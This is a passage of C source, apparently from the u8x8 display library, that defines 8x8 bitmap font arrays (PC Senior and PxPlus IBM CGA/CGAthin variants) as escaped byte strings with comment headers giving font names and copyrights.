\"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIof\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\";\n/*\n  Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1\n  Copyright: TrueType conversion  2001 codeman38.\n  Glyphs: 64/260\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pcsenior_u[517] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0$.kk:\\22\\0\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\4\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIof\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0\\200\\346f\"\n  \"\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\3QY\"\n  \"\\17\\6\\0\\0>\\177A]]\\37\\36\\0|~\\23\\23~|\\0\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Qsr\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\17\\6\\0\\36\\77!q\\177^\\0\\0A\\177\\177\\11\\31\\177f\\0&oMY\"\n  \"s\\62\\0\\0\\3A\\177\\177A\\3\\0\\0\\177\\177@@\\177\\177\\0\\0\\37\\77``\\77\\37\\0\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0Cg<\\30<gC\\0\\7OxxO\\7\\0\\0GcqYMgs\\0\\0\\177\\177A\"\n  \"A\\0\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0AA\\177\\177\\0\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGAthin-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 192/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcgathin_f[1796] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6_\\6\\0\\0\\0\\0\\0\\7\\0\\0\\7\\0\\0\\0\\24\\177\\24\"\n  \"\\24\\177\\24\\0\\0$*kk*\\22\\0\\0F&\\20\\10db\\0\\60JEM\\62HH\\0\\0\\0\\4\\3\"\n  \"\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\10*\\34\\34\\34*\\10\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0`\\0\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0>aQIE>\\0\\0DB\\177@@\\0\\0\\0bQQIIf\\0\\0\\42AI\"\n  \"II\\66\\0\\20\\30\\24R\\177P\\20\\0\\0'EEEE\\71\\0\\0<JIII\\60\\0\\0\\3\\1q\"\n  \"\\11\\5\\3\\0\\0\\66IIII\\66\\0\\0\\6III)\\36\\0\\0\\0\\0f\\0\\0\\0\\0\\0\\0\\200f\"\n  \"\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\0$$$$$$\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1\\1\"\n  \"Q\\11\\6\\0\\0>A]UU\\36\\0\\0|\\22\\21\\21\\22|\\0\\0A\\177III\\66\\0\\0\\34\\42A\"\n  \"AA\\42\\0\\0A\\177AA\\42\\34\\0\\0A\\177I]Ac\\0\\0A\\177I\\35\\1\\3\\0\\0\\34\\42A\"\n  \"QQr\\0\\0\\177\\10\\10\\10\\10\\177\\0\\0\\0A\\177A\\0\\0\\0\\0\\60@@A\\77\\1\\0\\0A\\177\\10\"\n  \"\\24\\42A@\\0A\\177A@@`\\0\\0\\177\\1\\2\\4\\2\\1\\177\\0\\177\\1\\2\\4\\10\\177\\0\\0\\34\\42A\"\n  \"A\\42\\34\\0\\0A\\177I\\11\\11\\6\\0\\0\\36!!\\61!^@\\0A\\177I\\31)F\\0\\0&II\"\n  \"II\\62\\0\\0\\3\\1A\\177A\\1\\3\\0\\77@@@@\\77\\0\\0\\17\\20 @ \\20\\17\\0\\77@@\"\n  \"\\70@@\\77\\0A\\42\\24\\10\\24\\42A\\0\\1\\2DxD\\2\\1\\0CaQIECa\\0\\177AA\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0AAA\\177\\0\\0\\0\\10\\4\\2\\1\\2\\4\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\3\\4\\0\\0\\0\\0 TTTTx@\\0\\1\\177\\60HHH\\60\\0\\70DD\"\n  \"DD(\\0\\0\\60HHH\\61\\177@\\0\\70TTTT\\30\\0\\0\\0H~I\\1\\2\\0\\0\\230\\244\\244\"\n  \"\\244\\244x\\4\\0A\\177\\10\\4\\4x\\0\\0\\0D}@\\0\\0\\0\\0`\\200\\200\\200\\204}\\0\\0\\1\\177\\20\"\n  \"(D@\\0\\0\\0A\\177@\\0\\0\\0\\0|\\4\\4x\\4\\4x\\0|\\10\\4\\4\\4x\\0\\0\\70DD\"\n  \"DD\\70\\0\\0\\204\\374\\230$$\\30\\0\\0\\30$$\\230\\374\\204\\0\\0D|H\\4\\4\\30\\0\\0HTT\"\n  \"TT$\\0\\0\\4\\4\\77DD \\0\\0<@@@ |\\0\\0\\14\\20 @ \\20\\14\\0<@@\"\n  \"\\70@@<\\0D(\\20(D\\0\\0\\0\\234\\240\\240\\240\\240|\\0\\0DdTLD\\0\\0\\0\\10\\10\\66\"\n  \"AA\\0\\0\\0\\0\\0w\\0\\0\\0\\0\\0\\0AA\\66\\10\\10\\0\\0\\2\\1\\1\\2\\2\\1\\0\\0pHD\"\n  \"BDHp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0z\\0\\0\\0\\0\\0\\30$$\\347$$\\0\\0h^I\"\n  \"AB \\0BZ$$$ZB\\0\\0\\25\\26|\\26\\25\\0\\0\\0\\0\\0w\\0\\0\\0\\0@\\332\\247\\245\"\n  \"\\345Y\\3\\2\\0\\1\\0\\0\\0\\1\\0\\0~\\201\\231\\245\\245\\201~\\0\\0&)))/(\\0\\0\\10\\24\\42\"\n  \"\\10\\24\\42\\0\\0\\10\\10\\10\\10\\10\\70\\0\\0\\10\\10\\10\\10\\10\\10\\0~\\201\\275\\225\\251\\201~\\0\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\6\\11\\11\\6\\0\\0\\0\\0DD_DD\\0\\0\\0\\22\\31\\25\\22\\0\\0\\0\\0\\12\\21\\25\"\n  \"\\12\\0\\0\\0\\0\\0\\0\\2\\1\\0\\0\\0\\200~\\20\\20\\20\\16\\20\\0\\6\\11\\11\\177\\1\\1\\177\\1\\0\\0\\0\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\200\\200\\240@\\0\\0\\0\\22\\37\\20\\0\\0\\0\\0\\0&)))&\\0\\0\\0\\42\\24\\10\"\n  \"\\42\\24\\10\\0J/\\30(\\64*\\375 J/\\30\\210\\324\\312\\251\\260\\225U*PhT\\372@\\0\\60HE\"\n  \"@@ \\0\\1y\\24\\22\\22\\24x\\0\\0x\\24\\22\\22\\24y\\1\\0r)%%)r\\0\\0y\\25\\25\"\n  \"\\25\\25y\\0\\0y\\24\\22\\22\\24y\\0\\0p(++(p\\0\\0|\\12\\11\\11\\177II\\0\\16\\221\\221\"\n  \"\\261\\261J\\0\\0E}TTD\\0\\0\\0D|TUE\\0\\0\\2E}UUE\\2\\0\\0E|T\"\n  \"TE\\0\\0\\0\\1E|D\\0\\0\\0\\0\\0D|E\\1\\0\\0\\2\\1E}E\\1\\2\\0\\0\\1D|\"\n  \"D\\1\\0\\0\\0I\\177IA\\42\\34\\0\\0z\\11\\21\\42Cx\\0\\1\\31$BB$\\30\\0\\0\\30$B\"\n  \"B$\\31\\1\\22)EEE)\\22\\0\\0\\21)EEE)\\21\\0\\31$BB$\\31\\0\\0\\42\\24\\10\"\n  \"\\24\\42\\0\\0>qYIMG>\\0\\0=A@@@<\\0\\0<@@@A=\\0\\0:AA\"\n  \"AA:\\0\\0=@@@@=\\0\\0\\4HpH\\5\\1\\0\\0A\\177U\\24\\24\\10\\0\\0~\\1\\1\"\n  \"IV \\0\\0 UUTx@\\0\\0 TTUy@\\0\\0\\42UUUyB\\0\\0!UU\"\n  \"UUy@\\0!TTTxA\\0\\0 TUTx@\\0\\0 TTx\\70TT\\0\\30$\\244\"\n  \"\\244\\344@\\0\\0\\70UUTT\\30\\0\\0\\70TTUU\\30\\0\\0:UUUU\\32\\0\\0\\71TT\"\n  \"TT\\31\\0\\0\\0\\1E|@\\0\\0\\0\\0\\0D}A\\0\\0\\2\\1E}A\\2\\0\\0\\0\\0\\1D\"\n  \"|A\\0\\0\\0\\60JJK>\\2\\0\\0z\\11\\11\\12\\12q\\0\\0\\60IJHH\\60\\0\\0\\60HH\"\n  \"JI\\60\\0\\0\\60JIIJ\\60\\0\\0\\62JJJJ\\62\\0\\0\\62HHHH\\62\\0\\0\\10\\10k\"\n  \"k\\10\\10\\0\\270DdTLD:\\0\\0\\70AB@@\\70\\0\\0\\70@@DB\\70\\0\\0\\70BA\"\n  \"AB\\70\\0\\0:@@@z@\\0\\0\\30\\240\\240\\240\\242z\\0\\0\\201\\377\\244$$\\30\\0\\0\\32\\240\\240\"\n  \"\\240\\240z\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGAthin-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 96/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcgathin_r[773] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6_\\6\\0\\0\\0\\0\\0\\7\\0\\0\\7\\0\\0\\0\\24\\177\\24\"\n  \"\\24\\177\\24\\0\\0$*kk*\\22\\0\\0F&\\20\\10db\\0\\60JEM\\62HH\\0\\0\\0\\4\\3\"\n  \"\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\10*\\34\\34\\34*\\10\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0`\\0\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0>aQIE>\\0\\0DB\\177@@\\0\\0\\0bQQIIf\\0\\0\\42AI\"\n  \"II\\66\\0\\20\\30\\24R\\177P\\20\\0\\0'EEEE\\71\\0\\0<JIII\\60\\0\\0\\3\\1q\"\n  \"\\11\\5\\3\\0\\0\\66IIII\\66\\0\\0\\6III)\\36\\0\\0\\0\\0f\\0\\0\\0\\0\\0\\0\\200f\"\n  \"\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\0$$$$$$\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1\\1\"\n  \"Q\\11\\6\\0\\0>A]UU\\36\\0\\0|\\22\\21\\21\\22|\\0\\0A\\177III\\66\\0\\0\\34\\42A\"\n  \"AA\\42\\0\\0A\\177AA\\42\\34\\0\\0A\\177I]Ac\\0\\0A\\177I\\35\\1\\3\\0\\0\\34\\42A\"\n  \"QQr\\0\\0\\177\\10\\10\\10\\10\\177\\0\\0\\0A\\177A\\0\\0\\0\\0\\60@@A\\77\\1\\0\\0A\\177\\10\"\n  \"\\24\\42A@\\0A\\177A@@`\\0\\0\\177\\1\\2\\4\\2\\1\\177\\0\\177\\1\\2\\4\\10\\177\\0\\0\\34\\42A\"\n  \"A\\42\\34\\0\\0A\\177I\\11\\11\\6\\0\\0\\36!!\\61!^@\\0A\\177I\\31)F\\0\\0&II\"\n  \"II\\62\\0\\0\\3\\1A\\177A\\1\\3\\0\\77@@@@\\77\\0\\0\\17\\20 @ \\20\\17\\0\\77@@\"\n  \"\\70@@\\77\\0A\\42\\24\\10\\24\\42A\\0\\1\\2DxD\\2\\1\\0CaQIECa\\0\\177AA\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0AAA\\177\\0\\0\\0\\10\\4\\2\\1\\2\\4\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\3\\4\\0\\0\\0\\0 TTTTx@\\0\\1\\177\\60HHH\\60\\0\\70DD\"\n  \"DD(\\0\\0\\60HHH\\61\\177@\\0\\70TTTT\\30\\0\\0\\0H~I\\1\\2\\0\\0\\230\\244\\244\"\n  \"\\244\\244x\\4\\0A\\177\\10\\4\\4x\\0\\0\\0D}@\\0\\0\\0\\0`\\200\\200\\200\\204}\\0\\0\\1\\177\\20\"\n  \"(D@\\0\\0\\0A\\177@\\0\\0\\0\\0|\\4\\4x\\4\\4x\\0|\\10\\4\\4\\4x\\0\\0\\70DD\"\n  \"DD\\70\\0\\0\\204\\374\\230$$\\30\\0\\0\\30$$\\230\\374\\204\\0\\0D|H\\4\\4\\30\\0\\0HTT\"\n  \"TT$\\0\\0\\4\\4\\77DD \\0\\0<@@@ |\\0\\0\\14\\20 @ \\20\\14\\0<@@\"\n  \"\\70@@<\\0D(\\20(D\\0\\0\\0\\234\\240\\240\\240\\240|\\0\\0DdTLD\\0\\0\\0\\10\\10\\66\"\n  \"AA\\0\\0\\0\\0\\0w\\0\\0\\0\\0\\0\\0AA\\66\\10\\10\\0\\0\\2\\1\\1\\2\\2\\1\\0\\0pHD\"\n  \"BDHp\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGAthin-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 18/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcgathin_n[220] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*\\34\\34\\34*\\10\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0`\\0\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0>aQIE>\\0\\0DB\\177@@\\0\\0\\0bQQIIf\\0\\0\\42AI\"\n  \"II\\66\\0\\20\\30\\24R\\177P\\20\\0\\0'EEEE\\71\\0\\0<JIII\\60\\0\\0\\3\\1q\"\n  \"\\11\\5\\3\\0\\0\\66IIII\\66\\0\\0\\6III)\\36\\0\\0\\0\\0f\\0\\0\\0\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGAthin-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 64/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcgathin_u[517] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcgathin_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6_\\6\\0\\0\\0\\0\\0\\7\\0\\0\\7\\0\\0\\0\\24\\177\\24\"\n  \"\\24\\177\\24\\0\\0$*kk*\\22\\0\\0F&\\20\\10db\\0\\60JEM\\62HH\\0\\0\\0\\4\\3\"\n  \"\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\10*\\34\\34\\34*\\10\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0`\\0\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0>aQIE>\\0\\0DB\\177@@\\0\\0\\0bQQIIf\\0\\0\\42AI\"\n  \"II\\66\\0\\20\\30\\24R\\177P\\20\\0\\0'EEEE\\71\\0\\0<JIII\\60\\0\\0\\3\\1q\"\n  \"\\11\\5\\3\\0\\0\\66IIII\\66\\0\\0\\6III)\\36\\0\\0\\0\\0f\\0\\0\\0\\0\\0\\0\\200f\"\n  \"\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\0$$$$$$\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1\\1\"\n  \"Q\\11\\6\\0\\0>A]UU\\36\\0\\0|\\22\\21\\21\\22|\\0\\0A\\177III\\66\\0\\0\\34\\42A\"\n  \"AA\\42\\0\\0A\\177AA\\42\\34\\0\\0A\\177I]Ac\\0\\0A\\177I\\35\\1\\3\\0\\0\\34\\42A\"\n  \"QQr\\0\\0\\177\\10\\10\\10\\10\\177\\0\\0\\0A\\177A\\0\\0\\0\\0\\60@@A\\77\\1\\0\\0A\\177\\10\"\n  \"\\24\\42A@\\0A\\177A@@`\\0\\0\\177\\1\\2\\4\\2\\1\\177\\0\\177\\1\\2\\4\\10\\177\\0\\0\\34\\42A\"\n  \"A\\42\\34\\0\\0A\\177I\\11\\11\\6\\0\\0\\36!!\\61!^@\\0A\\177I\\31)F\\0\\0&II\"\n  \"II\\62\\0\\0\\3\\1A\\177A\\1\\3\\0\\77@@@@\\77\\0\\0\\17\\20 @ \\20\\17\\0\\77@@\"\n  \"\\70@@\\77\\0A\\42\\24\\10\\24\\42A\\0\\1\\2DxD\\2\\1\\0CaQIECa\\0\\177AA\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0AAA\\177\\0\\0\\0\\10\\4\\2\\1\\2\\4\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 192/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcga_f[1796] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0$.kk:\\22\\0\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\4\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIOf\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0@v\\66\"\n  \"\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\3QY\"\n  \"\\17\\6\\0\\0>\\177A]]\\37\\36\\0|~\\23\\23~|\\0\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Qsr\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\17\\6\\0\\36\\77!q\\177^\\0\\0A\\177\\177\\11\\31\\177f\\0\\42gMY\"\n  \"s\\42\\0\\0\\3A\\177\\177A\\3\\0\\0\\177\\177@@\\177\\177\\0\\0\\37\\77``\\77\\37\\0\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0Cg<\\30<gC\\0\\7OxxO\\7\\0\\0GcqYMgs\\0\\0\\177\\177A\"\n  \"A\\0\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0AA\\177\\177\\0\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\3\\7\\4\\0\\0\\0 tTT<x@\\0A\\177\\77HHx\\60\\0\\70|DD\"\n  \"l(\\0\\0\\60xHI\\77\\177@\\0\\70|TT\\134\\30\\0\\0H~\\177I\\3\\2\\0\\0\\230\\274\\244\\244\"\n  \"\\370|\\4\\0A\\177\\177\\10\\4|x\\0\\0D}}@\\0\\0\\0`\\340\\200\\200\\375}\\0\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0A\\177\\177@\\0\\0\\0||\\30\\70\\34|x\\0||\\4\\4|x\\0\\0\\70|DD\"\n  \"|\\70\\0\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xL\\4\\34\\30\\0H\\134TT\"\n  \"t$\\0\\0\\0\\4>\\177D$\\0\\0<|@@<|@\\0\\34<``<\\34\\0\\0<|p\\70\"\n  \"p|<\\0Dl\\70\\20\\70lD\\0\\234\\274\\240\\240\\374|\\0\\0Ldt\\134Ld\\0\\0\\10\\10>w\"\n  \"AA\\0\\0\\0\\0\\0ww\\0\\0\\0AAw>\\10\\10\\0\\0\\2\\3\\1\\3\\2\\3\\1\\0pxLF\"\n  \"Lxp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0{{\\0\\0\\0\\30<$\\347\\347$$\\0h~\\177I\"\n  \"Cf \\0Z~$$$~Z\\0+/\\374\\374/+\\0\\0\\0\\0\\0ww\\0\\0\\0@\\332\\277\\245\"\n  \"\\375Y\\3\\2\\1\\1\\0\\0\\0\\1\\1\\0~\\201\\231\\245\\245\\201~\\0\\0&/)//(\\0\\10\\34\\66\\42\"\n  \"\\10\\34\\66\\42\\10\\10\\10\\10\\70\\70\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0~\\201\\275\\225\\251\\201~\\0\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\6\\17\\11\\17\\6\\0\\0DD__DD\\0\\0\\0\\31\\35\\27\\22\\0\\0\\0\\0\\21\\25\\37\"\n  \"\\12\\0\\0\\0\\0\\0\\2\\3\\1\\0\\0\\0\\200\\376~  >\\36\\0\\6\\17\\11\\177\\177\\1\\177\\177\\0\\0\\0\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\200\\240\\340@\\0\\0\\0\\22\\37\\37\\20\\0\\0\\0\\0&/)/&\\0\\0\\42\\66\\34\\10\"\n  \"\\42\\66\\34\\10Oo\\60\\30lv\\373\\371Oo\\60\\30\\314\\356\\273\\221\\221\\325\\177:Xl\\366\\362\\60xME\"\n  \"` \\0\\0y}\\26\\22\\26|x\\0x|\\26\\22\\26}y\\0r{)){r\\0\\0y}\\25\\25\"\n  \"}y\\0\\0y}\\26\\22\\26}y\\0px++xp\\0\\0|~\\13\\11\\177\\177I\\0\\16\\237\\221\\261\"\n  \"\\373J\\0\\0E}}TTD\\0\\0D||UUE\\0\\0F\\177}UWF\\0\\0E}|T\"\n  \"UE\\0\\0\\1E}|D\\0\\0\\0\\0D|}E\\1\\0\\0\\2KyyK\\2\\0\\0\\1E||\"\n  \"E\\1\\0\\0I\\177\\177Ic>\\34\\0}}\\31\\61}}\\0\\0\\1\\31<ff<\\30\\0\\30<ff\"\n  